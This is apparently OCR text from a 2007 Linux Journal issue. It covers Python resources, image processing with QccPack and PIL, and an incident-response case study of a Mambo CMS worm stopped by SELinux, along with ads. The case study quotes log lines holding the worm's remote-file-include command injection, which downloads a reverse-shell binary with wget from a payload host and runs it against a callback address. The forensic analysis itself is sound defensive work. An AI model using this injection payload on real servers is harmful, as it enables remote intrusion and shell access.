ful that I always have it open when I am programming on Python. In the second chapter, you can read about the built-in functions and classes. Getting familiar with them is always useful. The rest of the documentation is very specific, and each chapter deals with subjects ranging from runtime internals to string, from the Python debugger to some generic operating systems services. In that chapter, a very important module is documented: os. I can't remember making a single program that didn't use that module. Finding what you want in so much documentation can be a diffi¬ cult task. A trick that I find very useful is to use Google to search in a specific site. That is achieved by adding "site:python.org" or "site:docs.python.org" to the search query. The first one is more generic and sometimes leads to countless mailing-list posts that have nothing to do with what you are looking for. In that situation, use the second one. To give it a try, search for "print site:python.org" or "options site:python.org". What if all of your searches return nothing? Then, you need to do a broader search to find some third-party libraries or frameworks. If you want to make a graphical user interface, I recommend both PyGTK and PyQt, both are very good and include support for their respective desktops, GNOME and KDE. I've heard good opinions of wxPython, but I've not used it myself. If you want to build a Web application, I see two paths. If you want something not so spectacular but that gets you there fast, I recommend Django. Django is very similar to Ruby on Rails. It's a framework in which you use the model-view-controller paradigm and a relational database such as MySQL or PostgreSQL; both are well supported on Python. The other way to build Web sites (that I know of) is Zope. Zope is a big framework with a Web server and object-oriented database. The database is different from other relational databases, and it is very powerful. It allows you to store information in a much more flexible way. Zope 3—I don't recommend the previ¬ ous versions unless you have to use the award-winning content management system Plone—is prepared to help you build reliable and robust code by means of interfaces, unit testing, adapters and much more. If you need to build any kind of daemon—those little applications running in the background making the earth turn—take a look at Twisted Matrix. Twisted Matrix is an event-based framework that solves a lot of the common problems of building daemons, including separation of protocol and logic. It comes with many protocols already built in, and it allows you to create new protocols. A proof of its use¬ fulness is that Zope, after years of shipping its own Web sever, has migrated to using the Twisted Matrix HTTP server.H Jose P. E. "Pupeno” Fernandez has been programming since...at what age is a child capable of siting in a chair and reaching a keyboard? He has experimented with more languages than can be listed on this page. His Web site is at pupeno.com, and he always can be reached, unless you are a spammer, at pupeno@pupeno.com. Resources Python Tutorial: docs.python.org/tut/tut.html Dive Into Python: www.diveintopython.org Python Documentation: www.python.org/doc PyGTK: www.pygtk.org PyQt: www.riverbankcomputing.co.uk/pyqt Django: www.djangoproject.com Zope: zope.org Python's Super Considered Harmful: fuhm.net/super-harmful www.linuxjournal.com ju ly 2007 | 79 INDEPTH J Image Processing with QccPack and Python How to use QccPack to manipulate images with Python in code and from the Python prompt, suhasa. desai Limited bandwidth and storage space are always a challenge. Data compression is often the best solution. When it comes to image pro¬ cessing, compression techniques are divided into two types: lossless and lossy data compression. QccPack, developed by James Fowler, is an open-source collection of library routines and utility programs for quantization and reliable implementation of common compression techniques. Libraries written for QccPack have a clean interface. So far, these libraries can be upgraded without having to modify the application code. QccPack consists of a static-linked library, libQccPack.a, and supports dynamic linking with libQccPack.so. Entropy coding, wavelet transforms, wavelet-based sub-band cod¬ ing, error coding, image processing and implementations of general routines can be done through the library routines available with QccPack. Optional modules are available for the QccPack library that you can add later. QccPackSPIHT is one optional module for the QccPack library that provides an implementation of the Set Partitioning in Hierarchical Trees (SPIHT) algorithm for image compression. The QccPackSPIHT module includes two utility executables, spihtencode and spihtdecode, to perform SPIHT encoding and decoding for grayscale images. QccPack and QccPackSPIHT are available for download from the QccPack Web page on SourceForge. Red Hat users can find source and binary RPMs at that Web site. Users of other systems will need to compile the source code. QccPack has been complied successfully on Solaris/SPARC, Irix, HP-UX, Digital UNIX Alpha and Digital RISC/UItrix. QccPack from the Python Prompt You can use QccPack to train a VQ codebook on an image and then to code the image with full-search VQ followed with arith¬ metic coding. Take a 512*512 grayscale Lenna image, for exam¬ ple. The following sample procedure assumes you are at the Python interpreter prompt. Step 1: convert from the PGM image file format to the DAT format file by extracting four-dimensional (2x2) vectors of pixels: >>> imgtodat-ts 4 lenna.pgm.gz lenna.4D.dat.gz Step 2: train a 256-codeword VQ codebook on the DAT file with GLA (stopping threshold = 0.01): >>> gla -s 256 -t 0.01 lenna.4D.dat.gz lenna.4D256. cbk Step 3: vector quantize the DAT file to produce a channel of VQ indices: >>> vqencode lenna.4D.dat.gz lenna.4D256.cbk lenna . vq.4D256.chn Step 4: calculate first-order entropy of VQ indices (as bits/pixel): >>> chnentropy -d 4 lenna.vq.4D256.chn First-order entropy **of channel lenna . vq.4D256.chn is: 1.852505 (bits/symbol) Step 5: arithmetic-encode channel of VQ indices: >>> chnarithmeticencode -d 4 lenna.vq.4D256.chn Vienna. vq.4D256.chn.ac Channel lenna.vq.4D256.chn arithmetic coded to: 1.830322 (bits/symbol): >>> rm lenna.vq.4D256.chn Step 6: decode arithmetic-coded channel: >>> chnarithmeticdecode lenna.vq.4D256.chn.ac lenna.vq.4D256.chn Step 7: inverse VQ channel to produce quantized data: >>> vqdecode lenna.vq.4D256.chn lenna.4D256.cbk Vienna . vq . 4D256.dat. gz Step 8: convert from DAT to PGM format: >>> dattoimg 512 512 lenna.vq.4D256.dat.gz lenna . vq.4D256.pgm Step 9: calculate distortion between original and coded images: >>> imgdist lenna.pgm.gz lenna.vq.4D2 56.pgm The distortion between files lenna.pgm.gz and lenna.vq.4D256.pgm is: ■ 13.841091 (MSE) ■ 22.186606 dB (SNR) 80 | july 2007 www.linuxjournal.com Advertiser Index Listing 1. Convert Files to JPEG import os, sys import Image for infile in sys.argv[1:]: outfile = os . path.splitext(infile)[0] + ".jpg" if infile != outfile: try: Image.open(infile).save(outfile) except IOError: print "cannot convert", infile Listing 2. Simple Geometry Transforms out = im.resize((128, 128)) out = im.rotate(45) out = im.transpose(Image.ROTATE_90) ■ 36.719100 dB (PSNR) Python Imaging Library The Python Imaging Library adds image processing capabilities to the Python interpreter. This library provides extensive file format support, an efficient internal representation and fairly powerful image processing capabilities. The core image library is designed for fast access to data stored in a few basic pixel formats. The library contains some basic image processing functionality, includ¬ ing point operations, filtering with a set of built-in convolution kernels and color space conversions. The Python Imaging Library is ideal for image archival and batch processing applications. You can use the library to create thumbnails, convert between file formats and print images. The library also supports image resizing, rotation and arbitrary affine transforms. The Python Imaging Library uses a plugin model that allows you to add your own decoders to the library, without any changes to the library itself. These plugins have names such as XxxImagePlugin.py, where Xxx is a unique format name (usually an abbreviation). Essential Packages Python, xv and the PIL package are essential for Python image process¬ ing programming. Run these commands to build PIL in Linux: python setup.py build_ext -i python selftest.py Working with the Python Imaging Library The most important class in the Python Imaging Library is the Image class, defined in the module with the same name. We create instances of this class in several ways: by loading images from files, processing other images or creating images from scratch. To load an image from a file, use the open function in the www.linuxjournal.com july 2007 | 81 INDEPTH 1 Image module: >>> import Image >>> im = Image, open ("lenna.ppm") The Python Imaging Library supports a wide variety of image file formats. The library automatically determines the format based on the contents of the file or the extension. The next example (Listing 2) shows how the Image class contains methods to resize and rotate an image. Color Transforms The Python Imaging Library allows you to convert images between dif¬ ferent pixel representations using the convert function—for example, converting between modes: im = Image.open("lenna.ppm").convert ("L") The library supports transformations between each supported mode and the L and RGB modes. To convert between other modes, you may have to use an intermediate image. Filters The ImageFilter module contains a number of predefined enhance¬ ment filters that can be used with the filter method. For example, from the Python prompt, do the following: >>> import ImageFilter >>> out = im.fiIter(ImageFiIter.DETAIL) Once you have imported the module, you can use any of these filters: ■ ImageFilter.BLUR ■ ImageFilter.CONTOUR ■ ImageFilter.DETAIL ■ ImageFilter. EDGE_ENHANCE ■ ImageFilter. EDGE_ENHANCE_MORE ■ ImageFilter. EMBOSS ■ ImageFilter. FIND_EDGES ■ ImageFilter.SMOOTH ■ ImageFilter. SMOOTH_MORE ■ ImageFilter.SHARPEN Controlling the Decoder Some decoders allow you to manipulate an image while reading it from a file. This often can be used to speed up decoding when creat¬ ing thumbnails and printing to a monochrome laser printer. The draft method manipulates an opened but not yet loaded image so it matches Listing 3. Reading in Draft Mode im = Image.open (file) print "original =", im.mode, im.size im.draft("L", (100, 100)) print "draft =", im.mode, im.size This prints something like: original = RGB (512, 512) draft = L (128, 128) Listing 4. Draw a Gray Cross over an Image import Image, ImageDraw im = Image.open("lenna.pgm") draw = ImageDraw.Draw(im) draw.line((0, 0) + im.size, fi11=128) draw.line ((0, im.size[1], im.size[0], 0), fi11=128) del draw im.save(sys.stdout, "PNG") the given mode and size as closely as possible. Reconfiguring the image decoder does this. See Listing 3 for an example of how to read an image in draft mode. Listing 4 shows how the ImageDraw module provides basic graphics support for Image objects. The pildriver Utility The pildriver tool gives you access to most PIL functions from your operating system's command-line interface. When called as a script, the command-line arguments are passed to a PILDriver instance. If there are no command-line arguments, the module runs an interactive interpreter, each line of which is split into space-separated tokens and passed to the execute method. The pildriver tool was contributed by Eric S. Raymond. The following commands are from the Python prompt: >>> pildriver program >>> pildriver show crop 0 0 200 300 open test.png >>> pildriver save rotated.png rotate 30 open test.tiff The PILDriver Class The pildriver module provides a single class called PILDriver. An instance of the PILDriver class is essentially a software stack machine (Polish-notation interpreter) for sequencing PIL image transformations. The state of the instance is the interpreter stack. The only method one normally will invoke after initialization is the execute method. This takes an argument list of tokens, pushes them onto the instance's stack, and then tries to clear the stack by successive evaluation of PILdriver operators. Any part of the stack not cleaned off persists and is part of the evaluation context for the next call of the execute method. PILDriver doesn't catch any exceptions on the theory that these actually contain diagnostic information that should be interpreted by the calling code. 82 | july 2007 www.linuxjournal.com The pilconvert Utility The pilconvert tool converts an image from one format to another. The output format is determined by the target extension, unless explicitly specified with the -c option: >>> pilconvert lenna.tif lena.png >>> pilconvert -c JPEG lenna.tif lena.tmp SDC Morphology Toolbox The SDC Morphology Toolbox for Python is software used for image analysis and signal processing. It is based on the principle of discrete nonlinear filters followed by lattice operations. These filters are called morphological operators. Morphological operators are useful for restoration, segmentation and quantitative analysis of images and sig¬ nals. SDC Morphology is effectively useful for machine vision, medical imaging, desktop publishing, document processing, and food industry and agriculture needs. Grayscale images generally work fine with 8 or 16 bits to repre¬ sent each pixel. Elementary operators on the images are used in a hierarchical manner. There are two types of elementary operators: dilation and erosion. Operators other than these are distance trans¬ form, watershed, reconstruction, labeling and area-opening. The SDC Morphology Toolbox is supported on various platforms, such as Win95/98/NT, Linux and Solaris. Some common conventions are used in this toolbox. All opera¬ tors of the SDC Morphology Toolbox start with mm. These return a single data structure, and parameters passed are position- and type-dependent. Most functions in the SDC Morphology Toolbox operate in 3-D. Acknowledgements Special thanks to James Fowler for his contribution in QccPack. Thanks also to W. Pearlman of RPI and L. Granda of PrimaComp for their QccPackSPIHT module. And, last but not least, thanks to the Python SIG group for PIL.M Suhas A. Desai works with Tech Mahindra Ltd. He writes on open source and security. In his free time, he volunteers for social causes. Resources J. E. Fowler, "QccPack: An Open-Source Software Library for Quantization, Compression, and Coding", in Applications of Digital Image Processing XXIII, A. G. Tescher, ed., San Diego, CA, Proc. SPIE 4115, pp. 294-301, August 2000. Xeon® inside ™ Quad-core. Unmatched. MECHANICS visit us at www.silicon or call us toll free at 866-352-1173 Silicon Mechanics and the Silicon Mechanics logo are registered trademarks of Silicon Mechanics, Inc. Intel, the Intel logo, Xeon, and Xeon Inside are trademarks or registered trademarks of Intel Corporation or its subsidiaries in the United States and other countries. Expert Included. Ivan likes the Rackform iServ R255 with two Quad-Core Intel® Xeon® Processors 5300 series. Its redundant power supply, four hot-swap drive bays, and two PCI expansion slots combine to make it an ideal 1U server for space-constrained, mission-critical deployments.He knows the Rackform iServ R255 will take advantage of Intel's proven reliability, while providing breakthrough performance and energy efficiency. Ivan is dedicated to processes that make every server from Silicon Mechanics a model of consistency and reliability. The build and quality processes he applies guarantee that your server doesn't ship until it is ready for its intended purpose. When you partner with Silicon Mechanics, you get more than Intel solution—you get an expert like Ivan. a finely tuned INDEPTH J Mambo Exploit Blocked by SELinux A real-world case where SELinux proved its worth, richard bullington-mcguire If you operate Internet-connected servers, chances are you eventually will have to deal with a successful attack. Last year, I discovered that despite the multilayered defenses in place on a test Web server (targetbox), an attacker had managed to use an exploit in a partially successful attempt to gain access. This server was running Red Hat Enterprise Linux 4 (RHEL 4) and the Mambo content management system. It had multiple defenses in place, including Security-Enhanced Linux (SELinux). SELinux prevented the attacker from executing the second stage of the attack, possibly preventing a root compromise. This article presents a case study of the intrusion response, explain¬ ing how I discovered the intrusion, what steps I took to identify the exploit, how I recovered from the attack and what lessons I learned regarding system security. I've changed machine names and IP addresses for privacy reasons. Computers involved in the attack: ■ targetbox: 192.168.166.155—our server, running RHEL 4 and Mambo. ■ wormhole: 10.9.233.25—worm attack source. ■ zombieweb: 172.16.31.57—Web server hosting attack payload. ■ cbackbox: 10.200.238.39—target of stage 2 worm executable. Defending Your System from Attack Today, prudent system administrators defend their machines with a layered security approach, using firewalls, automated patch management systems, log analysis tools and, recently, SELinux. SELinux provides additional access controls beyond those tradition¬ ally provided in the UNIX security model. Recent Red Hat Enterprise Linux and Fedora Core releases have an SELinux policy implementation called the targeted policy. It aims to restrict the privileges of programs in multiple packages to the minimum that they require for correct operation. This can blunt an attack that depends on having read, write or execute access to certain files or directories. Discovering the Incident At approximately 8:00 AM on Saturday, May 6, 2006, I was auditing the logs on targetbox when I noticed an odd SELinux enforcement message in /var/log/messages: May 4 07:52:27 targetbox kernel: audit(1146743547.060:2277) : avc: denied { execute_no_trans } for pid=9401 comm="sh" name="cback" dev=dm-0 ino=852100 scontext=user_u:system_r:httpd_sys_script_t tcontext=user_u:object_r:httpd_sys_script_rw_t tclass=file I used locate to try to identify cback quickly: # locate cback /tmp/cback /usr/share/pixmaps/gnome-ccbackground.png /usr/lib/libartscbackend.la /usr/lib/libartscbackend.so.0.0.0 /usr/lib/libartscbackend.so.0 The file command revealed the executable file type of cback: # file /tmp/cback /tmp/cback: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.0, dynamically linked (uses shared libs), not stripped The user apache owned that file, but it had a date a few months before the initial operating system installation on targetbox: # Is -i /tmp/cback 852100 /tmp/cback [root@targetbox -]# Is -1Z /tmp/cback -rwxr--r-- apache apache user_u:object_r:httpd_sys_script_rw_t /tmp/cback [root@targetbox -]# Is -1ai /tmp/cback 852100 -rwxr--r-- 1 apache apache 13901 Feb 15 2005 /tmp/cback This confirmed the identity of cback as the file in the audit message, because it had the inode number 852100. If locate had not found the file, I could have used find to try to identify the file by inode: # find / -inum 852100 2>/dev/null /tmp/cback Analyzing the Executable for Clues Given the name of the script, maybe it was intended as a callback program. Because the apache user owned the file, I checked the Web server log files for evidence. Because the attack program was in /tmp, I saved a copy of it for posterity: 84 | july 2007 www.linuxjournal.com # cp -a cback /root The attack program seemed to do something with sockets, judging from the strings within (Listing 1). The Web server log file had many suspicious requests, some attacking Mambo using command injection and wget, some attacking other CMS systems. I copied all the lines containing php or wget using grep and put them in /root/exploit.log. Listing 2 contains a trace of the most recent attempt. The log file did contain two very useful clues; it confirmed that the cback binary was related to a request made to Mambo. Furthermore, the query string confirmed that the attacker used wget, a command¬ line URL-fetching tool, to retrieve the exploit from a remote server. The Web server request attempted to execute the cback executable with an IP address parameter of 10.200.238.39, presumably another machine under the control of the attacker. The attack attempted to execute this sequence of shell commands: cd /tmp wget 172.16.31.57/cback chmod 744 cback Listing 1. Attack Payload Strings # strings cback /1 i b/ld-linux.so.2 libc.so.6 printf connect strerror execl dup2 sleep socket inet_addr wai t fork htons __errno_location exi t atoi _I0_stdin_used _libc_start_main close __gmon_start__ GLIBC_2.0 PTRh [ A J %s cannot create socket, retrying in 5 seconds socket ok error: %s retting in 5 seconds /bin/sh fork error, retry in 5 seconds ./cback 10.200.238.39 8080 echo YYY echo| HTTP/1.1 Going back to /var/log/messages, I searched for further suspicious SELinux enforcement messages. Listing 3 contains the lines that matched the times of the Web server attacks. This appeared to be a worm, because www.pkrinternet.com (on a different machine, but the same subnet) also had requests from 10.9.233.25 at around the same time, as Listing 4 shows. Lines showing further attacks similar to the trace on stockpot versus Mambo, xmlrpc.php, drupal and phpgroupware also appeared in this grep. The worm made requests only to the default virtual host, so it's likely that the worm was not using the Host: virtual host head¬ er in its requests. This indicates that it was scanning IP subnets for Listing 2. Attack Traces in Web Server Access Log # grep 10.9.233.25 /root/exploit.log /var/log/httpd/access_log:10.9.233.25 - - [04/May/2006:07:52:21 -0400] "GET /index2.php?option=com_content&do_pdf=l&id=lindex2.php **?_REQUEST [option]=com_content&_REQUEST[Itemid] ^=l&GLOBALS=&mosConf ig_absolute_path= ^http: //172.16.31.57/cmd.gif?&cmd=cd%20/tmp; b *wget%20172 .16.31.57/cback;chmod%20744%20cback; ./cback%2010.200.238.39%208080;echo%20YYY;echo| HTTP/1.1" 200 594 "Mozilla/4.0 (compatible: MSIE 6.0; Windows NT 5.1;)" /var/log/httpd/access_log:10.9.233.25 - - [04/May/2006:07:52:24 -0400] "GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST *+• [Itemid]=l&GLOBALS=&mosConfig_absolute_path= ^http ://172.16.31.57/cmd.gif?&cmd=cd%20/tmp; b *wget%20172 .16.31.57/cback;chmod%20744%20cback; ** ./cback%2010.200.238.39%208080;echo%20YYY;echo| HTTP/1.1" 404 294 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /var/log/httpd/access_log:10.9.233.25 - - [04/May/2006:07:52:25 -0400] "GET /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST [Itemid]=l&GLOBALS=&mosConfig_absolute_path= ^http: //172.16.31.57/cmd.gif?&cmd=cd%20/tmp; b *wget%20172 .16.31.57/cback;chmod%20744%20cback; ./cback%2010.200.238.39%208080;echo%20YYY;echo| HTTP/1.1" 404 292 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /var/log/httpd/access_log:10.9.233.25 - - [04/May/2006:07:52:27 -0400] "POST /xmlrpc.php HTTP/1.1" 404 288 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" www.linuxjournal.com ju ly 2007 | 85 INDEPTH 1 Listing 3. SELinux Audit Messages May 4 07:52:24 targetbox kernel: audit(1146743544.910:2275): avc: denied { ioctl } for pid=9399 comm="wget" name="error_log" dev=dm-0 ino=1624085 scontext=user_u:system_r:httpd_sys_script_t tcontext=root:object_r:httpd_log_t tclass=fi le May 4 07:52:24 targetbox kernel: audit(1146743544.911:2276): avc: denied { ioctl } for pid=9399 comm="wget" name="error_log" dev=dm-0 ino=1624085 scontext=user_u:system_r:httpd_sys_script_t tcontext=root:obj ect_r:httpd_log_t tclass=file May 4 07:52:27 targetbox kernel: audit(1146743547.060:2277) : avc: denied { execute_no_trans } for pid=9401 comm="sh" name="cback" dev=dm-0 ino=852100 scontext=user_u:system_r:httpd_sys_scri pt_t tcontext=user_u:object_r:httpd_sys_script_rw _t tclass=file Listing 4. Verification of Worm Activity on Nearby Server $ grep 10.9.233.25 \ /var/log/httpd/www.pkrinternet.com-access_log 10.9.233.25 - - [04/May/2006:07:52:21 -0400] "GET /index2.php?option=com_content&do_pdf=l&id= ^lindex2 .php?_REQUEST[option]=com_content&_REQUEST *+ [Itemid]=l&GLOBALS=&mosConfig_absolute_path= ^http: //172.16.31.57/cmd.gif?&cmd=cd%20/tmp; b *wget%20172 .16.31.57/cback;chmod%20744%20cback; ./cback%2010.200.238.39%208080;echo%20YYY;echo| HTTP/1.1" 404 290 "Mozilla/4.0 (compatible; M5IE 6.0; Windows NT 5.1;)" 10.9.233.25 - - [04/May/2006:07:52:21 -0400] "GET /index.php?option=com_content&do_pdf=l&id=lindex2.php?_REQUEST ^ [option]=com_content&_REQUEST[Itemid]=1&GL0BALS= ^&mosConf ig_absolute_path= ^http: //172.16.31.57/cmd.gif?&cmd=cd%20/tmp; *-wget%20172. 16.31.57/cback;chmod%20744%20cback; ^ ./cback%2010.200.238.39%208080;echo%20YYY;echo| HTTP/1.1" 404 289 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" [ ... output trimmed ] vulnerable hosts, rather than working through a list of hostnames. The modification time on the cback file was Feb 5, 2005. That was probably the modification time of the file on the remote system that wget retrieved, wget normally resets the modification time of Listing 5. Investigating File Timestamps $ for x in atime access status use; do > echo -n "$x " > Is -1 --time=$x /tmp/cback > done [rbulling@targetbox ~]$ for x in atime access status use mtime; do > echo -n "$x " ; Is -1 --time=$x /tmp/cback > done atime -rwxr--r-- 1 apache apache 13901 May 6 11:33 /tmp/cback access -rwxr--r-- 1 apache apache 13901 May 6 11:33 /tmp/cback status -rwxr--r-- 1 apache apache 13901 May 4 07:52 /tmp/cback use -rwxr--r-- 1 apache apache 13901 May 6 11:33 /tmp/cback files it downloads to match their original modification times. Listing 5 shows how to interrogate all the timestamps on a file. The cback binary probably was created at 07:52 AM on May 4, corresponding to the wget command injection attack. That was the last time the file attributes were modified. Although UNIX does not allow you to retrieve the true creation time of a file, the status time often can stand in for that. The other times corre¬ spond to the times of my own initial investigations of the cback file. If I had been more careful, I could have done this Is command before reading the cback file at all, so that the atime, access and use times would have been those the attacker had set. What Hit Me? Because this looked like a worm attacking Mambo, a search on "mambo worm" on Google found references to the attack, including articles from ComputerWorld, Outpost24, F-Secure and Bugtraq (see Resources). The Mitre Common Vulnerabilities and Exposures Project provides a dictionary of known vulnerabilities. It has a brief abstract of the characteristics of the vulnerability with references to security mailing lists and Web sites that confirm the problems. Searching for "mambo" on www.cvw.mitre.org yielded a couple-dozen known vulnerabilities—one of which (CVS-2005-3738) relates to mosConfig_absolute_path, one of the seriously mangled variables in the request URL. After reading up on recent malware activity surrounding Mambo, I saw that the attack vector probably was closely related to the Net-Worm.Linux.Mare.d worm strain described in the news reports and vulnerability databases. However, some of the names of executables in the attack that hit targetbox were slightly different from the attack executables named in the vulnerability reports. Safety Precautions and Forensic Evidence To run these security analysis tools in the safest way possible, you need to disconnect the computer in question from all networks and boot from known good media before attempting to analyze the intru¬ sion. That way, any remaining attack programs will not be able to attack other machines on your network, and intruders will not inter¬ rupt your investigation by interacting with the machine. You won't be able to use the system while you analyze the intrusion, and it may 86 | july 2007 www.linuxjournal.com take time to put together an analysis toolkit that will work on a rescue disk. Although this takes more time and preparation than running the analysis tools on a running system that might be compromised, it gives a higher level of assurance that a compromise will not spread to other machines on your network. Making a backup copy of the entire disk to a removable drive also is a good idea. You could use a command such as this to do the job: # dd if=/dev/hdal of=/mnt/removable-drive/disk.img bs=512k You then can mount and analyze the backup using the loop device (see "Disk Images under Linux" in the Resources section). It's probably faster and easier to analyze the original system, but it's nice to have this backup for forensic purposes. In an ideal world, you could do this the moment you realize an attack has succeeded. However, sometimes you have to assess the severity of the compromise and balance that against the time and resources you have available. Figuring Out the Damage Done It looks like whoever broke in could have read or written to any file available to the apache user. This would include the PHP configuration file for Mambo that had a MySQL database user name and password in it. I changed that password just to be sure that the intruder could not use it to attempt further privilege escalation. Fortunately for me, this was only a test installation, so to pre¬ vent future exploits, I removed the Mambo installation completely. I also could have attempted to upgrade the software to remove the vulnerability. When a user account is compromised, you need to face the danger that the attacker could gain access to the superuser (root) account. If an attacker gets root, it can make it much more difficult to recover from an attack. Most of the time, you need to re-install the operating system from known good media and carefully and selectively audit and restore software configurations. Attackers who manage to get root access often install a rootkit—software that hides itself from casual inspection and offers a remote control Listing 6. chkrootkit Output # chkrootkit -q /usr/lib/firefox-1.0.4/chrome/.reregchrome /usr/lib/firefox-1.0.6/chrome/.reregchrome /usr/li b/jvm/j ava-1.4.2-ibm-1.4.2.3/j re/.systemPrefs /usr/lib/jvm/j ava-1.4.2-ibm-1.4.2.3/j re/.systemPrefs/ system.lock /usr/li b/j vm/j ava-1.4.2-ibm-1.4.2.3/j re/.systemPrefs/ systemRootModFile /usr/lib/firefox-1.0.8/chrome/.reregchrome /usr/lib/firefox-1.0.7/chrome/.reregchrome /usr/li b/per15/5.8.5/i386-1inux-thread-multi/.packlist /usr/lib/per!5/vendor_perl/5.8.5/i386-1inux-thread-multi/ ^auto/mod_perl/ .packli st /usr/lib/jvm/java-1.4.2-ibm-1.4.2.3/j re/.systemPrefs INFECTED (PORTS: 465) SELinux provides additional access controls beyond those traditionally provided in the UNIX security model. Listing 7. Web Server Error Logs Showing Attack Traces [Thu May 04 07:52:24 2006] [error] [client 10.9.233.25] File does not exist: /var/www/html/mambo [client 10.9.233.25] PHP Warning: main(http://ess.trix.net/therules.dat): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found\r\n in http://172.16.31.57/cmd.gif7/includes/HTML_toolbar.php on line 13 [client 10.9.233.25] PHP Warning: mainQ: Failed opening 'http://ess.trix.net/therules.dat 1 for inclusion (include_path='.:/usr/share/pear') in http://172.16.31.57/cmd.gif7/includes/HTML_toolbar.php on line 13 [client 10.9.233.25] PHP Notice: Undefined variable: pro4 in http://172.16.31.57/cmd.gif7/includes/HTML_toolbar.php on line 69 [ ...output trimmed ] [client 10.9.233.25] PHP Notice: Undefined variable: SERVER_SOFTWARE in http://172.16.31.57/cmd.gif7/includes/HTML_toolbar.php on line 112 [client 10.9.233.25] PHP Notice: Undefined variable: SERVERJ/ERSION in http://172.16.31.57/cmd.gif7/includes/HTML_toolbar.php on line 112 --07:52:24-- http://172.16.31.57/cback => 'cback' Connecting to 172.16.31.57:80... connected. HTTP request sent, awaiting response... [Thu May 04 07:52:25 2006] [error] [client 10.9.233.25] File does not exist: /var/www/html/cvs 200 OK Length: 13,901 (14K) [text/plain] 0K . 100% 110.90 KB/s 07:52:27 (110.90 KB/s) - 'cback' saved [13901/13901] sh: ./cback: Permission denied [client 10.9.233.25] PHP Notice: Undefined variable: chjnsg in http://172.16.31.57/cmd.gif7/includes/HTML_toolbar.php on line 202 [ ...output trimmed...] [client 10.9.233.25] PHP Fatal error: Cannot redeclare safemodeQ (previously declared in http://172.16.31.57/cmd.gif7/includes/HTML_toolbar.php:129) in http://172.16.31.57/cmd.gif7/includes/footer.php on line 129 www.linuxjournal.com ju ly 2007 | 87 INDEPTH 1 Running chkrootkit can give you some extra peace of mind when you know an attacker has penetrated your defenses, even though its checks are not conclusive. back door or other malicious features. Fortunately, a program called chkrootkit (from chkrootkit.org) can help scan for active rootkits. Listing 6 shows the output of chkrootkit in quiet mode on targetbox. The chkrootkit program checks for and analyzes various files that rootkits and worms commonly leave behind. It warns about hidden files in unexpected places and services running on ports that malware often uses. A quick inspection revealed that the hid¬ den files this listed were all harmless. The INFECTED warning on port 465 was a false alarm, because this computer was running a Resources SELinux: www.nsa.gov/selinux Mambo: www.mamboserver.com Red Hat SELinux Guide: www.redhat.com/docs/manuals/ enterprise/RHEL-4-Manual/selinux-guide ComputerWorld Article on the Mambo Worm: www.computerworld.com/securitytopics/security/story/ O f 10801 f 108868 f 00.html?source=x73 Outpost24 Article on the Mambo Worm: www.outpost24.com/ops/delta/Framelndex.jsp?page=/ops/ delta/news/News.jsp%3FXID%3D1157%26XVCLANGUAGEID%3D F-Secure Worm Report: www.f-secure.com/v-descs/mare_d.shtml Bugtraq on Mambo Vulnerabilities: archives.neohapsis.com/archives/bugtraq/2006-02/0463.html Common Vulnerabilities and Exposures Dictionary: www.cve.mitre.org Common Vulnerabilities and Exposures Mambo Issue: www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3738 "Disk Images under Linux": www.mega-tokyo.com/osfaq/ Disk%20lmages%20Under%20Linux Mambo RPM Packages: dag.wieers.com/packages/mambo Web server that listens for https on port 465. In this case, analyz¬ ing the chkrootkit output did not reveal a real rootkit problem. Running chkrootkit can give you some extra peace of mind when you know an attacker has penetrated your defenses, even though its checks are not conclusive. The Good News The server ran SELinux using the targeted policy at the time of the attack. The audit log message that originally sounded the alarm that all was not well was an access denied message. The Web server error log provided more detail in the form of the output of the injected shell code, including the wget session and the access denied message resulting from the attempted execution of wget, as shown in Listing 7. SELinux prevented the cback executable from running, saving targetbox from the next stage of the worm. Newer versions of Mambo close the hole that the attacker exploited, so I could install a new version without being vulnerable to the same exploit. Lessons Learned Many of the tools required to analyze an attack are already a core part of all modern Linux distributions. Combined with the power of modern search engines and the public disclosure of known vul¬ nerabilities, you can often determine a good deal of information about the nature of an attack. Installing something from source code to test it out, then leaving it on a publicly available computer made the system vulnerable. That this test installation lived in the document root of the main virtual host on the Web server made it even more exposed and vulnerable to discovery by worms. Many PHP-powered systems have installation instructions that essentially tell you to unarchive the software somewhere inside the document root of a Web server, then modify some configura¬ tion files. You often cannot use the same type of clean operating- system-wide packaging for PHP systems, as each installation uses a distinct set of PHP templates. It took about 11 months between installing Mambo and the attack, during which time I did not update the software at all. Using yum or apt-get to update Mambo would help keep it up to date. When I started investigating Mambo, I could not find RPM packaging for it, though third parties have created RPMs for Mambo since then. Operating system vendors and software authors need to work on better mechanisms for automatic soft¬ ware maintenance of Web systems. SELinux really saved the day, preventing the exploit program from running. Without the protection of SELinux, this easily could have turned into a root compromise requiring a much more extensive analysis and recovery effort.^ Richard Bullington-McGuire is the Managing Partner of PKR Internet, LLC, a software and systems consulting firm in Arlington, Virginia, specializing in Linux, open source and Java. He also founded The Obscure Organization, a nonprofit organization that promotes creativity and community through technology. He has been a Linux sysadmin since 1994. You can reach him at rbulling@pkrinternet.com. 88 | july 2007 www.linuxjournal.com For 64-bit UPC, Gaming and Graphic Design Applications Originally designed for a group of power hungry, demanding engineers in the automotive industry, WhisperStation™ incorporates two dual core AMD Opteron™ or Intel® EM64T™ processors, ultra-quiet fans and power supplies, plus internal sound-proofing that produce a powerful, but silent, computational platform. The WhisperStation™ comes standard with 2 GB high speed memory, an NVIDIA e-GeForce or Quadra PCI Express graphics adapter, and 20" LCD display. It can be configured to your exact hardware specification with any Linux distribution. RAID is also available. WhisperStation™ will also make a system administrator very happy, when used as a master node for a Microway cluster! Visit www.microway.com for more technical information. Experience the “Sound of Silence”. Call our technical sales team at 508-746-7341 and design your personalized WhisperStation ™ today. ZMicrowav Technology you can count on m m INDEPTH J Role-Based Single Sign-on with Perl and Ruby Single sign-on dictated by user roles with Perl and Ruby, robbshecter Portland, Oregon, is a city that takes pride in managing its resources wisely. So, maybe it's natural that this article describes how to make computer resources and legacy CGI scripts much more manageable. This is 